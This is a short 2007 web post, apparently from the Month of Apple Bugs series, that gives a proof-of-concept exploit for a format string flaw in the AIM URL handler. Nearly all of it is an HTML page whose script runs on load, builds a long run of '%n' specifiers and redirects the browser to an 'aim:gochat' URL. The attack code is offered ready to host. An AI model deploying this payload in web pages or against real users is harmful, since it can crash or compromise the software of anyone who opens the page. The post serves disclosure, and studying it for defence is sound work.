URL Handler Format String Exploit PoC

Jan 22 2007 18:55:16
Source: ace

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>
<title>MOAB-20-01-2007</title>
<script>
function boom() {
var str = '';
for (var i = 0; i < 20; i++) {
str = str + escape('A%n');
}
str = 'aim:gochat?roomname=' + str;
window.location = str;
}
</script>
</head>
<body onload="boom()">
</body>
</html>

» full story @ source-link: ace

Comments

Add Comment

You must be registered and logged in to add comments!

Register
Login